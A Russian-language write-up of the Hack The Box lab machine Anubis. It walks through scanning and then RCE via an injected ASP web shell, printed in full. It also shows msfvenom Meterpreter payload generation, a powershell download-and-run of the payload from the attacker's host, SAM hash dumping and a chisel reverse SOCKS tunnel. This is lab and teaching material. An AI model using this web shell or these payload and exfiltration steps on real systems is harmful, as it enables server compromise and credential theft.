Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Перед нами — сложнейшая машина Anubis с площадки Hack The Box. Чтобы пройти ее, понадобится проэксплуатировать RCE на сайте и так получить доступ к контейнеру, затем найти утечку хеша и узнать пароль. Для доступа к основной системе заюзаем уязвимость в Jamovi. А под конец — компрометация домена через службу сертификации Active Directory. В общем, полный набор! Скучно не будет, обещаю.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
, чтобы было удобнее обращаться к ней:
10.10.11.102 anubis.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Находим четыре открытых порта:
Порт 443 обеспечивает соединение по HTTPS, а это значит, что первым делом стоит изучить сертификат. Его поле commonName
содержит доменные имена, для которых он действителен (Nmap тут же отобразит это в результатах сканирования). Сразу добавляем найденные домены в /etc/hosts
.
10.10.11.102 www.windcorp.htb
Теперь перейдем к веб‑серверу, где нас встретит одностраничный сайт.
Главная страница сайта
Нам нужны поля, через которые можно было бы взаимодействовать с сервером. Найденная форма отправки сообщений подойдет.
Форма отправки сообщений
Что привлекло мое внимание — это отображение всех введенных данных на странице https://www.windcorp.htb/preview.asp
.
Форма подтверждения данных
Получается, что сайт не одностраничный! Давай попробуем найти другие скрытые страницы сайта.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w
— словарь (я использую словари из набора SecLists);
-t
— количество потоков;
-u
— URL;
-fc
— исключить из результата ответы с кодом 403.
Так как уже обнаружена одна страница в формате ASP, остальные будем перебирать с таким же расширением. Запускаем ffuf:
ffuf -u https://www.windcorp.htb/FUZZ.asp -t 300 -w directory_2.3_medium_lowercase.txt
Результат сканирования файлов ASP
Спустя несколько минут мы узнаем еще о нескольких страницах. Самая интересная из них — test.asp
, которая просто форматирует наши данные.
Страница test.asp
Это место для теста!
Так как данные попадают в исполняемый файл ASP, то самая простая идея — это попробовать записать в поле комментария какой‑нибудь шелл на ASP. К примеру, этот:
<%Set oScript = Server.CreateObject("WSCRIPT.SHELL")Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")Function getCommandOutput(theCommand) Dim objShell, objCmdExec Set objShell = CreateObject("WScript.Shell") Set objCmdExec = objshell.exec(thecommand) getCommandOutput = objCmdExec.StdOut.ReadAllend Function%><HTML><BODY><FORM action="" method="GET"><input type="text" name="cmd" size=45 value="<%= szCMD %>"><input type="submit" value="Run"></FORM><PRE><%= "" & oScriptNet.ComputerName & "" & oScriptNet.UserName %><%Response.Write(Request.ServerVariables("server_name"))%><p><b>The server's port:</b><%Response.Write(Request.ServerVariables("server_port"))%></p><p><b>The server's software:</b><%Response.Write(Request.ServerVariables("server_software"))%></p><p><b>The server's local address:</b><%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%><% szCMD = request("cmd")thisDir = getCommandOutput("cmd /c" & szCMD)Response.Write(thisDir)%></p><br></BODY></HTML>
Отправка веб‑шелла
И уже на странице подтверждения видим некоторый вывод. Неплохо, одну уязвимую страницу уже нашли!
Страница подтверждения отправленного комментария
Конечно, удобнее всего получить какую‑нибудь продвинутую оболочку, к примеру Meretpreter. Сначала сгенерируем исполняемый файл с помощью msfvenom
, для которого используем следующие параметры:
-p []
— нагрузка;
LHOST=[]
— IP локального хоста;
LPORT=[]
— локальный порт;
-f []
— формат, в котором будет представлена нагрузка;
-o
— итоговый файл.
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=10.10.14.13 LPORT=443 -f exe -o rs.exe
Генерирование нагрузки Meterpreter
Следующий шаг — запуск листенера MSF.
msfconsole -qhandler -p windows/x64/meterpreter/reverse_http -H tun0 -P 443
Запуск листенера Metasploit
Из каталога, где находится файл с нагрузкой, запускаем простой веб‑сервер на основе Python 3.
python3 -m http.server 80
И через веб‑шелл скачиваем нашу нагрузку, а второй командой — запускаем. Это приведет к созданию сессии Meterpreter в Metasploit. Командой getuid
проверяем текущего пользователя, от имени которого запущен файл.
powershell wget 10.10.14.13/rs.exe -O C:WindowsTemprs.execmd.exe /c C:WindowsTemprs.exe
Создание сессии Meterpreter
Мы работаем в контексте System, а для дальнейшего продвижения могут понадобиться учетные данные. Дампим хеши из локальной базы SAM с помощью hashdump, вдруг где‑то пригодится.
Получение хешей паролей из базы SAM
Поиск хостов
Просматриваем файлы на хосте и находим на рабочем столе администратора сертификат.
Содержимое файла req.txt
Копируем его содержимое на локальную машину и сохраняем с расширением crt
. Затем можно просто открыть этот файл (любая система должна распознать и отобразить содержимое сертификата).
Содержимое сертификата
Так мы узнаем еще одно доменное имя — softwareportal.windcorp.htb
. Попытаемся получить доступ к этому хосту, но сперва выясним его реальный адрес. Первым делом организуем SOCKS-прокси с помощью программы chisel. Нам потребуется и версия для Windows, и версия для Linux. Запустим на локальном хосте сервер, указав порт для подключения (опция -p
), тип прокси (--socks5
) и то, что он должен ожидать подключения.
./chisel server -p 4321 --socks5 --reverse
Затем загрузим на удаленный хост версию для Windows и подключимся. В логах сервера увидим сообщение о подключении клиентской части.
.chisel.exe client 10.10.14.140:4321 R:4444:127.0.0.1:socks
Логи сервера chisel
Теперь добавим доменное имя в файл /etc/hosts
. А в качестве адреса будем использовать Gateway-адрес системы.
Результат команды ipconfig172.22.160.1 softwareportal.windcorp.htb
Что удивительно, расширения для быстрого переключения прокси серверов типа FoxyProxy и ему подобных не давали соединения. Но если выставить параметры прокси в настройках браузера и обратиться к хосту по доменному имени, мы получаем желанную страницу.
Настройки прокси в браузере
Стартовая страница сайта
На сайте есть список программного обеспечения. Если выбрать любой пункт, ты перейдешь по ссылке и увидишь сообщение о начале установки ПО.
Сообщение о начале установки ПО
Немного ждем, но не видим никаких изменений. Тогда разберем, что происходит при выборе ПО из списка. Выбирая ссылку, мы делаем запрос по такому адресу:
http://softwareportal.windcorp.htb/install.asp?client=XXX.XXX.XXX.XXX&software=7z1900-x64.exe
Сервер получает адрес клиента и должен с ним взаимодействовать. Попробуем в качестве клиента указать адрес своего хоста, но перед этим откроем любой сниффер трафика, к примеру Wireshark.
curl http://softwareportal.windcorp.htb/install.asp?client=10.10.14.81&software=7z1900-x64.exe
Окно Wireshark
Для удобства просмотра трафика можно активировать фильтр, я использовал not tcp.port == 80
, чтобы отсеять обращения к удаленному хосту. В выводе видим пакеты черного цвета, что говорит о сбросе соединения (закрытый порт). Происходит обращение к нашему хосту на порт 5985 — там работает служба WinRM. Таким образом, удаленный хост для установки ПО пытается подключиться к службе WinRM хоста, адрес которого передан в параметре client
при запросе на установку ПО.
Источник: xakep.ru